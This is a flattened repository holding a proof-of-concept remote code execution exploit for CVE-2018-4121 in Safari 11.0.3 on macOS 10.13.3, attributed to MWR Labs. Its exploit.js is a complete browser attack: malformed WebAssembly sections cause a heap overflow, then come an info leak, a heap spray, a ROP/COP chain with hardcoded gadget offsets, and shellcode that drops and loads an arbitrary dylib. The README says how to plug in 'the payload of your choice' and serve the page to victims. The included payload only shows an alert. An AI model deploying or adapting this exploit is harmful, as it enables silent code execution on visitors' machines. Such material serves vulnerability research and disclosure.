├── exploit.html ├── alert_payload.m ├── file_to_jsarray.py ├── README.md └── exploit.js /exploit.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | pwning... 5 | 6 | -------------------------------------------------------------------------------- /alert_payload.m: -------------------------------------------------------------------------------- 1 | //clang -o alert_payload.dylib alert_payload.m -framework Foundation -framework Cocoa -dynamiclib 2 | #import 3 | #import 4 | 5 | __attribute__((constructor)) 6 | static void init(void){ 7 | NSRunAlertPanel(@"Pwned.", @"Safari RCE by MWR Labs 2018 \\o/.", @"b00m", nil, nil); 8 | } 9 | 10 | -------------------------------------------------------------------------------- /file_to_jsarray.py: -------------------------------------------------------------------------------- 1 | import sys 2 | 3 | def print_ln(bytes, out): 4 | ln = '[ ' 5 | for b in bytes: 6 | ln += "0x%02x," % ord(b); 7 | out.write(ln + ' ],') 8 | 9 | bytes = open(sys.argv[1]).read() 10 | out = open(sys.argv[2], 'w') 11 | 12 | out.write("DYLIB_LENGTH = %d;\n" % len(bytes)) 13 | out.write("DYLIB = [\n") 14 | 15 | while len(bytes) > 8: 16 | print_ln(bytes[:8], out) 17 | bytes = bytes[8:] 18 | out.write('\n'); 19 | 20 | if len(bytes): 21 | bytes = bytes + "\x00"*(8 - len(bytes)) 22 | print_ln(bytes, out) 23 | 24 | out.write('];') 25 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # CVE-2018-4121 - Safari Wasm Sections POC RCE Exploit 2 | 3 | by MWR Labs (c) 2018 4 | 5 | ## Details 6 | 7 | * this proof of concept exploit targets Safari 11.0.3 (13604.5.6) on macOS 10.13.3 (17D47) versions only. 8 | * compile the payload of your choice as a dylib with a constructor 9 | * run `python file_to_jsarray.py your.dylib payload.js` 10 | * serve this directory and point Safari to /exploit.html 11 | * exploit is not fully reliable and uses hardcoded offsets for this macOS/Safari version. 12 | * exploit takes a while to run due to the size of the heap spray (24.5GB). 13 | * this issue is addressed in macOS 10.13.4 as CVE-2018-4121 (https://support.apple.com/en-gb/HT208692) 14 | 15 | ## Credits 16 | 17 | * Natalie Silvanovich of Google Project Zero - https://bugs.chromium.org/p/project-zero/issues/detail?id=1522 18 | * Ian Beer of Google Project Zero - https://googleprojectzero.blogspot.co.uk/2014/07/pwn4fun-spring-2014-safari-part-i_24.html 19 | * Phoenhex - https://phoenhex.re/ 20 | * Fermin Serna - https://media.blackhat.com/bh-us-12/Briefings/Serna/BH_US_12_Serna_Leak_Era_Slides.pdf 21 | 22 | ## References 23 | 24 | * https://labs.mwrinfosecurity.com/assets/BlogFiles/apple-safari-wasm-section-vuln-write-up-2018-04-16.pdf 25 | * https://labs.mwrinfosecurity.com/mwr-vulnerability-disclosure-policy 26 | * https://www.mwrinfosecurity.com/about-us/ 27 | -------------------------------------------------------------------------------- /exploit.js: -------------------------------------------------------------------------------- 1 | // Info leak of the vtable of a HTMLLinkElement. 2 | // HTMLLinkElement is 0xf8; 3 | var TARGET_OBJECT_SIZE = 0xf8; 4 | 5 | // Size of StringImplHeader 6 | var SIZE_HEADER_SIZE = 0x18; 7 | 8 | // Size of strings we are spraying. 9 | var TARGET_STRING_SIZE = TARGET_OBJECT_SIZE-SIZE_HEADER_SIZE; 10 | 11 | // This controls the max value we can write (i.e. 1-500) and thus leak! 12 | // This was 1000 before, it works with 1000 too. But bigger memory allocation needed. 13 | var TYPE_ARR_LEN = 500; 14 | 15 | // This needs to be the same size as our target object (4*102 = 408) + 0x18. 16 | // Control the size (newCapacity) of the vector we overflow (sizeof(uint32_t) * 12 = 48 byte buffer). We want 0x198 17 | var FUNC_COUNT = TARGET_OBJECT_SIZE / 4; 18 | 19 | // Info leak overflow 20 | // WTF::StringImpl: 21 | // 0x2 = m_refcount; 22 | // 500 = m_length; - Our new string length value (1000). 23 | var OVERWRITE_ARRAY1 = [0x10,500]; 24 | 25 | var SPRAY_COUNT = 196; 26 | var SPRAY_ADDR_HIGH = 0x8; 27 | 28 | // This overflow is used to control RAX on the vtable call 29 | // 0x7fff39b56ce5 <+21>: call qword ptr [rax + 0x68] 30 | // rax = 0x0000000800000008 31 | var OVERWRITE_ARRAY2 = [0x08,SPRAY_ADDR_HIGH]; 32 | 33 | // offset from base of vtable. 34 | // HTMLLinkElement 35 | // This needs updating if Safari version changes.. 36 | var VTABLE_OFFSET = 0x45e88 37 | 38 | // Variable where we store the webcore base in. 39 | var webcore_base; 40 | 41 | function read_dword(leak_string, offset){ 42 | var val = 0; 43 | for (var i = 0; i < 4; i++){ 44 | val += target.charCodeAt(offset + i) << (i*8); 45 | } 46 | return val; 47 | } 48 | 49 | /* helper function to build strings which have a power-of-two length */ 50 | function pow2str(p, b) { 51 | var str = String.fromCharCode(b); 52 | for (; p; p--){ 53 | str += str; 54 | } 55 | return str; 56 | } 57 | 58 | function uint64(upper,lower) 59 | { 60 | var s = ''; 61 | for (var i = 0; i < 4; i++) 62 | { 63 | s += String.fromCharCode((lower >> (i*8)) & 0xff); 64 | } 65 | for (var i = 0; i < 4; i++) 66 | { 67 | s += String.fromCharCode((upper >> (i*8)) & 0xff); 68 | } 69 | return s; 70 | } 71 | 72 | function text(offs) { 73 | //TODO: proper uint64 addition would be nice :D 74 | return uint64(webcore_base[1], (webcore_base[0] + offs)); 75 | } 76 | 77 | function hex(b) 78 | { 79 | return ('0' + b.toString(16)).substr(-2); 80 | } 81 | 82 | function hexlify(bytes) 83 | { 84 | var res = []; 85 | for (var i =0; i < bytes.length; i++) 86 | { 87 | res.push(hex(bytes[i])); 88 | } 89 | return res.join(''); 90 | } 91 | 92 | /* build a string of any length 93 | * note the actual malloc’ed size will include the StringImpl header size (24 bytes) 94 | */ 95 | function alloc(n, b) { 96 | var res = ''; 97 | for(var i = 0; i < 32; i++){ 98 | if(n & 0x1) 99 | res += pow2str(i, b); 100 | n >>= 1; 101 | } 102 | /* this will flatten the rope and actually make the allocation */ 103 | res[0]; 104 | return res; 105 | } 106 | 107 | function alloc_rop(n, b, ropstack) { 108 | var res = ropstack; 109 | n -= res.length; 110 | for(var i = 0; i < 32; i++){ 111 | if(n & 0x1) 112 | res += pow2str(i, b); 113 | n >>= 1; 114 | } 115 | /* this will flatten the rope and actually make the allocation */ 116 | res[0]; 117 | return res; 118 | } 119 | 120 | // Convert a number to a variable length array. 121 | function to_leb128(num) 122 | { 123 | ret = []; 124 | while (num > 0) 125 | { 126 | //print("entering loop with num " + num); 127 | tmp = num & 0x7f; 128 | num >>= 7; 129 | if (num > 0) 130 | tmp |= 0x80; 131 | ret.push("0x" + tmp.toString(16)) 132 | } 133 | return ret; 134 | } 135 | 136 | // Utility function to generate a unique type.. 137 | function generate_type(param_count) 138 | { 139 | var tmp = []; 140 | 141 | var form = ['0x60']; 142 | tmp = tmp.concat(form); 143 | tmp = tmp.concat(to_leb128(param_count)); 144 | 145 | for (p = 0; p < param_count; p++) 146 | tmp = tmp.concat('0x7f'); 147 | 148 | // Return count (getting cut off..) 149 | tmp = tmp.concat('0x1'); 150 | tmp = tmp.concat('0x7f'); 151 | 152 | //print(tmp); 153 | return tmp; 154 | } 155 | 156 | // Create the header 157 | function create_magic() 158 | { 159 | // Header bytes 160 | magic = ['0x0', '0x61', '0x73', '0x6d']; 161 | version = ['0x1', '0x0', '0x0', '0x0']; 162 | header = magic.concat(version); 163 | return header; 164 | } 165 | 166 | function create_type_section() 167 | { 168 | var type_id = ['0x1']; 169 | // Number of unique types to create. 170 | var type_count = to_leb128(TYPE_ARR_LEN); 171 | var type_pl = type_count; 172 | 173 | for (i = 0; i < TYPE_ARR_LEN; i++) 174 | { 175 | var t = generate_type(i+1); 176 | //print(t); 177 | type_pl = type_pl.concat(t); 178 | } 179 | var type_sz = to_leb128(type_pl.length); 180 | var type_section = type_id.concat(type_sz).concat(type_pl); 181 | //print(type_section); 182 | return type_section; 183 | } 184 | 185 | // Used to create our victim buffer we will overflow. 186 | function create_valid_function_section() 187 | { 188 | // Function section (3) 189 | var func_id = ['0x3']; 190 | var func_count = to_leb128(FUNC_COUNT); 191 | var single_func = ["0x1"]; // Just use a valid idx for the first section 192 | var func_arr = []; 193 | for (i = 0; i < FUNC_COUNT; i++) 194 | { 195 | func_arr = func_arr.concat(single_func); 196 | } 197 | var func_size = (FUNC_COUNT) + func_count.length 198 | var func_sz = to_leb128(func_size); 199 | var func_pl = func_count.concat(func_arr); 200 | var func_section = func_id.concat(func_sz).concat(func_pl); 201 | //print(func_section); 202 | return func_section; 203 | } 204 | 205 | // Return back an invalid section 206 | function create_invalid_section() 207 | { 208 | var inv_id = ['0x6d']; 209 | var inv_sz = ['0x2']; 210 | var inv_pl = ['0x0', '0x1']; 211 | 212 | var inv_section = inv_id.concat(inv_sz).concat(inv_pl); 213 | return inv_section; 214 | } 215 | 216 | // Used to create our overflow section (must be less than FUNC_COUNT) in order to reuse allocation. 217 | // Count = 2 218 | function create_overflow_section(overwrite_array) 219 | { 220 | var func_id = ['0x3']; 221 | var func_count = to_leb128(overwrite_array.length); 222 | var func_arr = []; 223 | // Construct our overflow array 224 | for (var i = 0; i < overwrite_array.length; i++) 225 | { 226 | var idx = overwrite_array[i]-1; 227 | //alert(idx); 228 | var single_func = to_leb128(idx); 229 | func_arr = func_arr.concat(single_func); 230 | } 231 | var func_size = overwrite_array.length + func_count.length; 232 | var func_sz = to_leb128(func_size); 233 | var func_pl = func_count.concat(func_arr); 234 | var func_section = func_id.concat(func_sz).concat(func_pl); 235 | 236 | return func_section; 237 | } 238 | 239 | // Return back an invalid section 240 | function create_invalid_section() 241 | { 242 | var inv_id = ['0x6d']; 243 | var inv_sz = ['0x2']; 244 | var inv_pl = ['0x0', '0x1']; 245 | 246 | var inv_section = inv_id.concat(inv_sz).concat(inv_pl); 247 | return inv_section; 248 | } 249 | 250 | ///var payload; 251 | 252 | function create_payload(payload){ 253 | console.log("create payload called!"); 254 | var header = create_magic(); 255 | var type_section = create_type_section(); 256 | var valid_func_section = create_valid_function_section(); 257 | 258 | var invalid_section = create_invalid_section(); 259 | var overflow_section1 = create_overflow_section(payload); 260 | 261 | var payload = header.concat(type_section).concat(valid_func_section).concat(invalid_section).concat(overflow_section1).concat(invalid_section); 262 | return payload; 263 | } 264 | 265 | holder = []; 266 | function gc2() 267 | { 268 | var h = []; 269 | for (var i = 0; i < 10000; i++) 270 | h[i] = alloc(400,0x20); 271 | holder.push(h); 272 | } 273 | 274 | var x; 275 | 276 | function ab_spray(target_addr, ropchain, payload, cop_ptrs) { 277 | // Small helper to avoid allocations with .set(), so we don't mess up the heap 278 | function set(p, i, a,b,c,d,e,f,g,h) { 279 | p[i+0]=a; p[i+1]=b; p[i+2]=c; p[i+3]=d; p[i+4]=e; p[i+5]=f; p[i+6]=g; p[i+7]=h; 280 | } 281 | //alert("let's go"); 282 | AR_SZ = 0x08000000; 283 | var target_p = []; 284 | var ropchain_ps = []; 285 | var cop_ps = []; 286 | for(var i = 0; i < 8; i++) 287 | target_p.push(target_addr.charCodeAt(i)); 288 | for(var i = 0; i < ropchain.length; i++) { 289 | var tmp = []; 290 | for(var j = 0; j < 8; j++) 291 | tmp.push(ropchain[i].charCodeAt(j)); 292 | ropchain_ps.push(tmp); 293 | } 294 | // TODO this sometimes crashes because *(0x8000000000)==0 -> spray more ptrs! 295 | var dylib_start = AR_SZ - Math.ceil(DYLIB_LENGTH/0x1000)*0x1000; 296 | function spray(idx) { 297 | var res = new Uint8Array(AR_SZ); 298 | var dylib_idx = 0; 299 | for (var i = 0; i < AR_SZ; i += 0x1000) { 300 | var p; 301 | if(i >= dylib_start) { 302 | for(var j = 0; j < 0x200 && dylib_idx < DYLIB.length; j++,dylib_idx++) { 303 | p = DYLIB[dylib_idx]; 304 | var idx = i + (j<<3); 305 | set(res, idx, p[0],p[1],p[2],p[3], p[4],p[5],p[6],p[7]); 306 | } 307 | } 308 | // i % PAGESIZE, spray differnt pattern per page 309 | else if(((i >> 12) & 0x3) == 0 || ((i >> 12) & 0x3) == 3) { 310 | p = target_p; 311 | for(var j = 0; j < 0x1000; j += 8) { 312 | set(res, i+j, p[0],p[1],p[2],p[3], p[4],p[5],p[6],p[7]); 313 | } 314 | for(var k in cop_ptrs) { 315 | j = cop_ptrs[k][0]; 316 | p = cop_ptrs[k][1]; 317 | set(res, i+j, p[0],p[1],p[2],p[3], p[4],p[5],p[6],p[7]); 318 | } 319 | } 320 | else if(((i >> 12) & 0x3) == 1) { // ROP PAGE 321 | var roplen = ropchain_ps.length << 3; 322 | var idx = 0; 323 | for(var j = 0; j < roplen; j += 8) { 324 | p = ropchain_ps[idx++]; 325 | set(res, i+j, p[0],p[1],p[2],p[3], p[4],p[5],p[6],p[7]); 326 | } 327 | } 328 | else if(((i >> 12) & 0x3) == 2) { // PAYLOAD PAGE 329 | for(var j = 0; j < payload.length; j++) 330 | res[i+j] = payload.charCodeAt(j); 331 | } 332 | else { 333 | p = target_p; 334 | for(var j = 0; j < 0x1000; j += 8) 335 | set(res, i+j, p[0],p[1],p[2],p[3], p[4],p[5],p[6],p[7]); 336 | } 337 | } 338 | return res; 339 | } 340 | 341 | // predictably allocates memory at 0x800000000 342 | x = []; 343 | for(var i = 0; i < SPRAY_COUNT; i++) 344 | x.push(spray(i)); 345 | var size_gb = AR_SZ * x.length / 1024 / 1024 / 1024; 346 | //alert("done spraying "+x.length+" buffers, total size: "+size_gb+"GB"); 347 | return x; 348 | } 349 | 350 | payload1 = create_payload(OVERWRITE_ARRAY1); 351 | payload2 = create_payload(OVERWRITE_ARRAY2); 352 | 353 | // Stage1: Trigger the bug to perform an info leak. 354 | 355 | var a_elems = []; 356 | var b_elems = []; 357 | var e_elems = []; 358 | var c_elems = []; 359 | var d_elems = []; 360 | 361 | // First spray a pattern. 362 | // 363 | for (var i = 0; i < 0x1000; i++) 364 | { 365 | 366 | var a = alloc(TARGET_STRING_SIZE, 0x41); // One we free (replace with wasm) 367 | var b = alloc(TARGET_STRING_SIZE, 0x42); // Never free this. 368 | var e = document.createElement("link"); // Never free this (form element is the same size..) 369 | 370 | a_elems.push(a); 371 | b_elems.push(b); 372 | e_elems.push(e); 373 | } 374 | 375 | // Now free some A elements, so it should end up in one of these slots... 376 | // 377 | for (var i = 0; i < a_elems.length; i++) 378 | { 379 | //delete(a_elems[i]); 380 | a_elems[i] = null; 381 | } 382 | 383 | for (var i = 0; i < a_elems.length; i++) 384 | { 385 | delete(a_elems[i]); 386 | //c_elems[i] = null; 387 | } 388 | 389 | // Trigger some GCs 390 | for (var i = 0; i < 4; i++) gc2(); 391 | 392 | // Try trigger a few times by getting the wasm in the A slots.. 393 | // Not sure why we need to do it twice :), but it makes its way more reliable that we hit corruption first time round. 394 | // 395 | try { module = new WebAssembly.Module(new Uint8Array(payload1)) } catch (e) { }; 396 | try { module = new WebAssembly.Module(new Uint8Array(payload1)) } catch (e) { }; 397 | 398 | var corr_idx = -1; 399 | 400 | for (var i = 0; i < b_elems.length; i++) 401 | { 402 | if (b_elems[i]) { 403 | 404 | // We use slice(0) to force an update of the .length cached property - just reading it fails 405 | str = b_elems[i].slice(0); 406 | 407 | if (str.length != TARGET_STRING_SIZE) { 408 | //alert("Corruption size = " + str.length + " at index " + i); 409 | corr_idx = i; 410 | } 411 | 412 | } 413 | } 414 | 415 | // If there has been corruption dump the bytes after the buffer. 416 | if (corr_idx != -1) 417 | { 418 | //document.write(keep[corr_idx]); 419 | var target = b_elems[corr_idx].slice(0); 420 | //document.write(target); 421 | // Try dump the pointers 422 | var vtable_ptr = -1; 423 | 424 | var leaked_ptr_lower = read_dword(target,TARGET_STRING_SIZE); 425 | var leaked_ptr_higher = read_dword(target,TARGET_STRING_SIZE+4); 426 | 427 | if (leaked_ptr_higher != 0x7fff) 428 | { 429 | // False positive - go again. 430 | document.location.reload(); 431 | } 432 | 433 | var value = ((leaked_ptr_lower) >>> 0).toString(16); 434 | document.writeln("Vtable lower " + value + "
"); 435 | var value = ((leaked_ptr_higher) >>> 0).toString(16); 436 | document.writeln("Vtable upper " + value+ "
"); 437 | 438 | // Try calculate the DATA section base from the vtable.. 439 | // Note: static offset of vtable here.. 440 | // Was previously 0x4ecf0e88 441 | var data_base_lower = leaked_ptr_lower - VTABLE_OFFSET; 442 | var data_base_higher = leaked_ptr_higher; 443 | 444 | var data_base_lower_hex = ((data_base_lower) >>> 0).toString(16); 445 | var data_base_upper_hex = ((data_base_higher) >>> 0).toString(16); 446 | 447 | document.writeln("WebCore __DATA section base lower " + data_base_lower_hex + "
"); 448 | document.writeln("WebCore __DATA section base upper " + data_base_upper_hex + "
"); 449 | 450 | // For some reason the TEXT section is always 0x4ecb8000 before the data section on 10.13.3. 451 | // Therefore remove this from the lower. 452 | text_base_lower = data_base_lower - 0x4ecb8000; 453 | text_base_higher = data_base_higher; // Both will be the same. 454 | 455 | text_base_lower_hex = ((text_base_lower) >>> 0).toString(16); 456 | text_base_upper_hex = ((text_base_higher) >>> 0).toString(16); 457 | 458 | document.writeln("WebCore __TEXT section base lower " + text_base_lower_hex + "
"); 459 | document.writeln("WebCore __TEXT section base upper " + text_base_upper_hex + "
"); 460 | 461 | // 42d8bfff 462 | 463 | for (var i = 0; i < target.length; i+=4) 464 | { 465 | var leaked_ptr_lower = read_dword(target, TARGET_STRING_SIZE + i); 466 | // Convert it to hex. 467 | var value = ((leaked_ptr_lower) >>> 0).toString(16); 468 | document.writeln(value); 469 | } 470 | } 471 | else 472 | { 473 | // Heap didn't lay out like we want it - try again! 474 | // We cannot continue unless we have the TEXT base :( 475 | document.location.reload(); 476 | } 477 | 478 | webcore_base = [text_base_lower,text_base_higher]; 479 | 480 | // Stage 2.. Do our heap spray so we have a fake vtable at the correct address.. 481 | // 0x7fff39b56ce5 <+21>: call qword ptr [rax + 0x68] 482 | // At crash time rax = 0x0000000800000008 483 | //alert("Stage 2: Spraying fake vtable at "+SPRAY_ADDR_HIGH+"00000000"); 484 | // Fixed offsets 485 | /* 486 | surgical_cop // Call Oriented Programming 487 | - rdi contains addrof(this), so our spray will be nearby. 488 | - we spray a retsled + ropchain-stub, so let's point rsp there 489 | 490 | 0x12df3b // add rdi, 0xd8; call [rax+0x10] 491 | 0x138d7f // add rdi, 0x60; call qword ptr [rax + 0x40]; 492 | 0x19a688 // mov r14, rdi; mov rdi, r15; call qword ptr [rax + 0x8]; 493 | 0x16ecd9 // mov rdx, r14; call qword ptr [rax + 0x18]; 494 | 0xdeb12b // push rdx; pop rsp; add byte ptr [rax - 0x77], cl; ret; 495 | */ 496 | 497 | var sigtrap = text(0xa576); // 0xcc int3 498 | 499 | var cop__add_rdi_0xd8 = text(0x12df3b); 500 | // add rdi, 0xd8; mov esi, 1; call qword ptr [rax + 0x10]; 501 | 502 | var rop_stack_pivot = text(0xdeb12b); 503 | // push rdx; pop rsp; add byte ptr [rax - 0x77], cl; ret; 504 | 505 | var pop_rdx__ret = text(0x4b4a2); // pop rdx; ret; 506 | var pop_rsp__ret = text(0xb369); // pop rsp; ret; 507 | 508 | // this is allocated at 0x20000000, but rax points 8 bytes in 509 | // => low dword of rax will be 8, therefore add 8 to every offset: 510 | var cop_ptrs = { 511 | 0x10: text(0x16ecd9), // mov rdx, r14; call qword ptr [rax + 0x18]; 512 | 0x18: text(0x138d7f), // add rdi, 0x60; call qword ptr [rax + 0x40]; 513 | 0x20: rop_stack_pivot, // push rdx; pop rsp; add byte ptr [rax - 0x77], cl; ret; 514 | 0x48: text(0x19a688), // mov r14, rdi; mov rdi, r15; call qword ptr [rax + 0x8]; 515 | // transfers control to ropstub 516 | } 517 | for(var k in cop_ptrs) { 518 | var tmp = []; 519 | for(var j = 0; j < 8; j++) 520 | tmp.push(cop_ptrs[k].charCodeAt(j)); 521 | cop_ptrs[k] = [parseInt(k), tmp]; 522 | } 523 | //alert("spraying "+(l.concat(h))); 524 | 525 | var ropstub = [ 526 | pop_rdx__ret, 527 | uint64(SPRAY_ADDR_HIGH, 0x0001000), 528 | rop_stack_pivot 529 | ]; 530 | 531 | var pop_rax__ret = text(0xb2ce); // pop rax; ret 532 | var pop_rcx__ret = text(0x9b396); // pop rcx; ret; 533 | var pop_rsi__ret = text(0x3f37e); // pop rsi; ret; 534 | var pop_rdi__ret = text(0x1f31cd);// pop rdi; ret 535 | var rop__ret = text(0x1f31cd + 1);// ret 536 | var jmp_rax = text(0x2c1e); // jmp rax; 537 | 538 | var mov_ptr_rdi_rax__ret = text(0x44568); // mov qword ptr [rdi], rax; ret; 539 | var mov_rdi_rax__pop_rbp__ret = text(0x5e9bf); // mov rdi, rax; mov rax, rdi; pop rbp; ret; 540 | 541 | var dlopen = text(0x13b158a); // dlopen stub, otool -arch x86_64 -IV 542 | var dlsym = text(0x13b1590); // dlsym stub 543 | 544 | // more stubs, needed in payload 545 | var strdup = text(0x13b1c6e); 546 | var open = text(0x13b1ad0); 547 | var write = text(0x13b1eea); 548 | var usleep = text(0x13b1e3c); 549 | 550 | var JUNK = uint64(0xdeadbeef, 0x0badc0de); 551 | var ropchain = [ 552 | rop__ret, 553 | rop__ret, 554 | rop__ret, 555 | 556 | // write "/usr/lib/libc.dylib" to 0x200001f00 557 | pop_rax__ret, 558 | "/usr/lib", 559 | pop_rdi__ret, 560 | uint64(SPRAY_ADDR_HIGH, 0x00001f00), // 0-memory 561 | mov_ptr_rdi_rax__ret, 562 | pop_rax__ret, 563 | "/libc.dy", 564 | pop_rdi__ret, 565 | uint64(SPRAY_ADDR_HIGH, 0x00001f08), 566 | mov_ptr_rdi_rax__ret, 567 | pop_rax__ret, 568 | "lib" + "\x00".repeat(5), 569 | pop_rdi__ret, 570 | uint64(SPRAY_ADDR_HIGH, 0x00001f10), 571 | mov_ptr_rdi_rax__ret, 572 | rop__ret, 573 | 574 | // write "mprotect" to 0x200001f20 575 | pop_rax__ret, 576 | "mprotect", 577 | pop_rdi__ret, 578 | uint64(SPRAY_ADDR_HIGH, 0x00001f20), // 0-memory 579 | mov_ptr_rdi_rax__ret, 580 | 581 | // dlopen("libc.dylib", RTLD_NOW); 582 | pop_rdi__ret, 583 | uint64(SPRAY_ADDR_HIGH, 0x00001f00), // "libc.dylib" 584 | pop_rsi__ret, 585 | uint64(0x0, 0x2), // RTLD_NOW 586 | dlopen, 587 | 588 | // dlsym(LIBC_HANDLE, "mprotect") 589 | mov_rdi_rax__pop_rbp__ret, // move handle to rdi 590 | JUNK, 591 | pop_rsi__ret, 592 | uint64(SPRAY_ADDR_HIGH, 0x00001f20), // "mprotect" 593 | dlsym, 594 | 595 | // mprotect(0x200002000, 0x1000, PROT_READ|PROT_EXEC); 596 | pop_rdi__ret, 597 | uint64(SPRAY_ADDR_HIGH, 0x00002000), // payload addr 598 | pop_rsi__ret, 599 | uint64(0x0, 0x1000), // page size 600 | pop_rdx__ret, 601 | uint64(0x0, 0x5), // PROT_READ|PROT_EXEC 602 | jmp_rax, 603 | 604 | uint64(SPRAY_ADDR_HIGH, 0x00002000), // RET 2 SHELLCODE!! 605 | sigtrap, 606 | JUNK 607 | ]; 608 | var SC = ""; // "\xcc"; 609 | // LIBC = dlopen("libc.dylib", RTLD_NOW) 610 | SC += "\x48\xbf" + uint64(SPRAY_ADDR_HIGH, 0x1f00); // mov rdi, &"libc.dylib" 611 | SC += "\x48\xc7\xc6" + "\x02\x00\x00\x00"; // mov rsi, 0x2 612 | SC += "\x48\xb8" + dlopen; // mov rax, dlopen 613 | SC += "\xff\xd0"; // call rax 614 | SC += "\x48\x89\xc5"; // mov rbp, rax 615 | 616 | // dlsym(LIBC, "getenv") 617 | SC += "\x48\xbe" + uint64(SPRAY_ADDR_HIGH, 0x1f30); // mov rsi, &"getenv" 618 | SC += "\x48\xbb" + "getenv\x00\x00"; // mov rbx, "getenv" 619 | SC += "\x48\x89\x1e"; // mov [rsi], rbx 620 | SC += "\x48\x89\xef"; // mov rdi, rbp ; libc handle 621 | SC += "\x48\xb8" + dlsym; // mov rax, dlsym 622 | SC += "\xff\xd0"; // call rax 623 | 624 | // getenv("TMPDIR") 625 | SC += "\x48\xbf" + uint64(SPRAY_ADDR_HIGH, 0x1f40); // mov rdi, &"TMPDIR" 626 | SC += "\x48\xbb" + "TMPDIR\x00\x00"; // mov rbx, "TMPDIR" 627 | SC += "\x48\x89\x1f"; // mov [rdi], rbx 628 | SC += "\xff\xd0"; // call rax 629 | 630 | // strdup($TMPDIR) and save in r12 631 | SC += "\x48\x89\xc7"; // mov rdi, rax 632 | SC += "\x48\xb8" + strdup; // mov rax, strdup 633 | SC += "\xff\xd0"; // call rax 634 | SC += "\x49\x89\xc4"; // mov r12, rax 635 | 636 | // dlsym(LIBC, "strcat") 637 | SC += "\x48\xbe" + uint64(SPRAY_ADDR_HIGH, 0x1f50); // mov rsi, &"strcat" 638 | SC += "\x48\xbb" + "strcat\x00\x00"; // mov rbx, "strcat" 639 | SC += "\x48\x89\x1e"; // mov [rsi], rbx 640 | SC += "\x48\x89\xef"; // mov rdi, rbp ; libc handle 641 | SC += "\x48\xb8" + dlsym; // mov rax, dlsym 642 | SC += "\xff\xd0"; // call rax 643 | 644 | // strcat($TMPDIR, "pwn.so") 645 | SC += "\x48\xbe" + uint64(SPRAY_ADDR_HIGH, 0x1f60); // mov rsi, &"pwn.so" 646 | SC += "\x48\xbb" + "pwn.so\x00\x00"; // mov rbx, "pwn.so" 647 | SC += "\x48\x89\x1e"; // mov [rsi], rbx 648 | SC += "\x4c\x89\xe7"; // mov rdi, r12 649 | SC += "\xff\xd0"; // call rax 650 | 651 | // open(libpath, O_CREAT|O_RDWR, 0755) 652 | SC += "\x4c\x89\xe7"; // mov rdi, r12 653 | SC += "\x48\xbe" + uint64(0x0, 0x202) // mov rsi, 0x202 654 | SC += "\x48\xba" + uint64(0x0, 0755) // mov rdx, 0755 655 | SC += "\x48\xb8" + open; // mov rax, open 656 | SC += "\xff\xd0"; // call rax 657 | SC += "\x49\x89\xc5"; // mov r13, rax 658 | 659 | // find dylib in memory by looking for 0xfeedfacf-magic 660 | SC += "\xbb\x00\x00\xed\xfe"; // mov ebx, 0xfeed0000 661 | SC += "\x66\xbb\xcf\xfa"; // mov bx, 0xfacf 662 | SC += "\x48\xbe" + uint64(SPRAY_ADDR_HIGH, 0x1000); // mov rsi, end of payload - 0x1000 663 | SC += "\x48\x81\xc6\x00\x10\x00\x00"; // [LOOP] add rsi, 0x1000 664 | SC += "\x8b\x0e"; // mov ecx, [rsi] 665 | SC += "\x39\xcb"; // cmp ebx, ecx 666 | SC += "\x75\xf3"; // jne -11 [/LOOP] 667 | 668 | // write(fd, &dylib, sizeof(dylib)) 669 | SC += "\x48\xba" + uint64(0x0, DYLIB_LENGTH); // mov rdx, sizeof(dylib) 670 | SC += "\x4c\x89\xef"; // mov rdi, r13 671 | SC += "\x48\xb8" + write; // mov rax, write 672 | SC += "\xff\xd0"; // call rax 673 | 674 | // dlopen("pwn.so", RTLD_NOW) 675 | SC += "\x4c\x89\xe7"; // mov rdi, r12 676 | SC += "\x48\xc7\xc6" + "\x02\x00\x00\x00"; // mov rsi, 0x2 677 | SC += "\x48\xb8" + dlopen; // mov rax, dlopen 678 | SC += "\xff\xd0"; // call rax 679 | 680 | // usleep(0xffffffff) 681 | //SC += "\x48\xbf" + uint64(0, 0xffffffff); // mov rdi, 0xffffffff 682 | //SC += "\x48\xb8" + usleep; // mov rax, usleep 683 | //SC += "\xff\xd0"; // call rax 684 | 685 | // in case that wasn't enough, loop forever :) 686 | SC += "\xeb\xfe"; // jmp 0 687 | 688 | var RET_SLED_LEN = 20; 689 | window.STUB_OFFSET = 0; // adjust for stack-pivot 690 | // remember: maxlen = 0xf0 = 240 = 30 chain elements 691 | var ropstub_str = ''; 692 | for(var i = 0; i < RET_SLED_LEN; i++) 693 | ropstub_str += rop__ret; 694 | for(var i = 0; i < ropstub.length; i++) 695 | ropstub_str += ropstub[i]; 696 | 697 | // Stage 3.. Now try trigger the bug 698 | // In the previous step we sprayed a fake vtable.. 699 | // We redirect execution to this via this vtable call. 700 | 701 | //alert("Stage 3 (attach debugger): Triggering bug with text base 0x" + text_base_upper_hex + text_base_lower_hex); 702 | 703 | var a_elems = []; 704 | var b_elems = []; 705 | var e_elems = []; 706 | var c_elems = []; 707 | var d_elems = []; 708 | 709 | var spray_buffers; 710 | function spray_maybe() { 711 | if(!spray_buffers) 712 | spray_buffers = ab_spray(cop__add_rdi_0xd8, ropchain, SC, cop_ptrs); 713 | return spray_buffers; 714 | } 715 | 716 | 717 | 718 | function stage3() { 719 | for (var i = 0; i < 0x0a000; i++) 720 | { 721 | 722 | var a = alloc_rop(TARGET_STRING_SIZE, 0x43, ropstub_str); 723 | var b = alloc_rop(TARGET_STRING_SIZE, 0x44, ropstub_str); // Free this one 724 | var e = document.createElement("link"); 725 | //var c = alloc_rop(TARGET_STRING_SIZE, 0x45, ropstub_str); 726 | 727 | a_elems.push(a); 728 | b_elems.push(b); 729 | e_elems.push(e); 730 | //c_elems.push(c); 731 | } 732 | 733 | for (var i = 0; i < b_elems.length; i++) 734 | { 735 | b_elems[i] = null; 736 | } 737 | 738 | for (var i = 0; i < b_elems.length; i++) 739 | { 740 | delete(b_elems[i]); 741 | } 742 | 743 | // Trigger some GCs 744 | for (var i = 0; i < 4; i++) gc2(); 745 | 746 | spray_maybe(); 747 | // Trigger the vtable overwrite a few times and redirect execution.. 748 | for (var i = 0; i < 3; i++) 749 | { 750 | try { module = new WebAssembly.Module(new Uint8Array(payload2)) } catch (e) { }; 751 | } 752 | 753 | for(var i = 0; i < e_elems.length; i++) { 754 | e_elems[i].focus(); 755 | } 756 | } 757 | for(var i = 0; i < 10; i++) 758 | stage3(); 759 | // This is needed to trigger the vtable call =) 760 | window.location.reload(); 761 | 762 | --------------------------------------------------------------------------------